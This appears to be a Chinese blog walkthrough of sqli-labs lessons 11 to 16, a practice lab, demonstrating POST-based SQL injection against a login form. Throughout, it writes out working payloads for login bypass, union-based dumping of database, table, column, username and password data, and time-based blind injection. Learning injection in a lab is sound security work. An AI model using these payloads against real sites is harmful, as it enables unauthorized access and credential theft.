zoukankan      html  css  js  c++  java
  • sqli-labs Less11-Less16

    Lesson 11 POST -Error Based - Single Quotes (基于错误的POST型单引号字符型注入)

    (1)先输入adminadmin进行登录

      sql语句为:

      SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1

    (2)接下来的测试我们需要使用burpsuite,因为在执行登录操作时,我们并不知道进行了怎样的传输。其实是使用了PHP中的POST传输。

       A.先手动配置代理,打开burpsuite,点击”submit”,会进行抓包

       里面显示了详细的信息,我们只需要最后一句话

       B.将其复制,选择post data,粘贴到下面的框中。然后把burpsuite关闭即可

       C.进行测试

         uname=admin'&passwd=admin&submit=Submit

       admin后加一个单引号,出现错误

      uname='&passwd=admin&submit=Submit

       admin删掉,只留下单引号还是有错误,说明存在注入漏洞

      uname=admin' or 1=1#&passwd=admin&submit=Submit

      admin’后加上or 1=1 #,再次执行,发现登录成功

      uname=' or 1=1#&passwd=admin&submit=Submit

       此时,把admin去掉,发现依旧能登录成功,验证确实存在注入漏洞

    (3)username为例进行验证,使用order by语句验证列数

         uname=' order by 3#&passwd=admin&submit=Submit

       返回错误,显示不存在三列

      uname=' order by 2#&passwd=admin&submit=Submit

       虽然登录失败,但是并没有返回错误,说明是两列

    (4)判断完列数后,使用union select语句进行联合查询,查看回显位置

        uname=' union select 1,2#&passwd=admin&submit=Submit

       回显出位置

    (5)接下来就是常规的查库,查表等一系列操作

        查询当前使用的数据库

        uname=' union select 1,database()#&passwd=admin&submit=Submit

       可以看到数据库为security

      查看所有库

      uname= ' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

    (6)查看表

      uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

    (7)查看字段

      uname= ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

    (8)查看用户和密码信息

        用户信息

        uname= ' union select 1,group_concat(username) from security.users#&passwd=admin&submit=Submit

      密码信息

      uname= ' union select 1,group_concat(password) from security.users#&passwd=admin&submit=Submit

    (9)一次性查询数据的方法

      Lesson 11结束

    Lesson 12 POST -Error Based - Double Quotes (基于错误的POST型双引号字符型变形注入)

    (1)查询是否存在注入(将admin破坏,加上or 1=1#

      uname='or 1=1#&passwd=admin&submit=Submit

       虽然没有成功登录,但是也没有返回错误

      uname=" or 1=1#&passwd=admin&submit=Submit

       将单引号改成双引号,发现有错误

      如何判断是单引号还是双引号,可以看回显的sql语句来观察

       包着admin的是双引号加一个单括号,所以就加双引号和一个单括号就行

    测试成功

    2)接下来和上一课相同,不做展示,只是练习一下

      Lesson 12结束

    Lesson 13 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

    (1)先进行测试

      发现正常登录后,虽然有登录成功,但是并没有回显任何信息

    (2)从测试可以看到,包裹着admin的是一个单引号和一个单括号。接下来直接测试即可

        uname=admin') or 1=1#&passwd=admin&submit=Submit

       也是什么都没有回显

    (3)union select语句进行联合查询,也不显示任何东西,这个时候就能证明是盲注,只有正确才会回显

    (4)使用length()函数来猜解数据库长度

    (5)使用if语句进行判断

      uname=adm') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit

       然后进行猜测,测试数据,最后发现数据库长度为8

    (6)然后判断第一个字母,使用left语句直接进行判断

     

      uname=adm') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit

       以这种方法可以查出库的名字

      剩下就是查表,查列,查数据的基本操作了,也可借用burpsuite进行爆破,这里不再进行展示

      

      Lesson 13结束

    Lesson 14 POST -Double injection - Single Quotes - String - twist (POST单引号变形双注入)

    (1)先进行登录测试

      uname=admin&passwd=admin&submit=Submit

     只有成功登录但是并没有任何回显信息

    13关不同的是,13关包裹admin的是一个单引号和一个单括号,14关包裹admin的是双引号,其他的均相同,不做演示,只练习

     

      Lesson 14结束

    Lesson 15 POST-Blind -Boolean-Time Based - Single Quotes (基于Bool/时间延迟的单引号POST盲注)

    (1)先测试

      与1314课差不多,只是包裹admin的符号不同,只不过这个是单引号

      Lesson 15结束

    Lesson 16 POST-Blind -Boolean-Time Based - Double Quotes (基于Bool/时间延迟的双引号POST盲注)

      先测试

       这关是双引号和单括号进行包裹,其他与13关相同

     Lesson 16结束

  • 相关阅读:
    Android Camera Api的心得
    apache禁止訪问某些文件或文件夹的方法
    查询和删除数据表中反复数据的sql
    设计模式C++实现——外观模式
    排序(杭电1106)
    《JAVA程序设计》实训第一天——《猜猜看》游戏
    CSS3选择器(全)
    【原创】TCP超时重传机制探索
    使用Win32 API实现生产者消费者线程同步
    翻翻git之---溜的飞起的载入效果AVLoadingIndicatorView
  • 原文地址:https://www.cnblogs.com/zhaihuijie/p/12514256.html
Copyright © 2011-2022 走看看